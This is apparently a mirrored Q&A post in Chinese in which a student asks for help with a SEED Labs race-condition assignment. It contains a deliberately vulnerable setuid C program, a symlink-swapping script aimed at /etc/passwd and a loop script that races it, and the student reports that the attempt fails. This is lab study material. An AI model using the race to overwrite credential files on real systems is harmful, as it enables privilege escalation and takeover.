首页 > 解决方案 > 利用锁定文件 UBUNTU SEED 上的并发漏洞

问题描述

对于作业,我必须了解如何使用并发来打开锁定的文件。

我有程序

    /*  vulp.c  */

    #include <stdio.h>
    #include <unistd.h>


    int main()
    {
       char * fn = "/tmp/XYZ";
       char buffer[60];
       FILE *fp;

       /* get user input */
       scanf("%50s", buffer );

       if(!access(fn, W_OK)){

            fp = fopen(fn, "a+");
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
       }
       else printf("No permission \n");
    }

我用它锁定它

sudo chown root vulp
sudo chmod 4755 vulp

我知道我应该以某种方式删除 /tmp/XYZ 以获得?访问/覆盖?这样我就可以打开文件了。我有 2 个 shell,我为 passwd 和 shadow 运行以覆盖,但它似乎不起作用。

攻击.sh

#!/bin/sh
ln -sf /home/seed/vulp /tmp/XYZ
ln -sf /etc/passwd /tmp/XYZ

检查.sh

#!/bin/sh


old=`ls -l /etc/shadow`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
    ./vulp < passwd_input
    new=`ls -l /etc/passwd`

    counter=`expr $counter + 1`
done

echo "STOP... The shadow file has been changed"
echo "Total number of loops: $counter"
echo "STOP... The passwd file has been changed"

我使用命令在终端上并行运行它们

parallel -j 2 -- './check.sh' './attack,sh'

但我每次都得到“权限被拒绝”。

我不确定我做错了什么或缺少什么。任何帮助将不胜感激。

标签: clinuxshellsecurity

解决方案


推荐阅读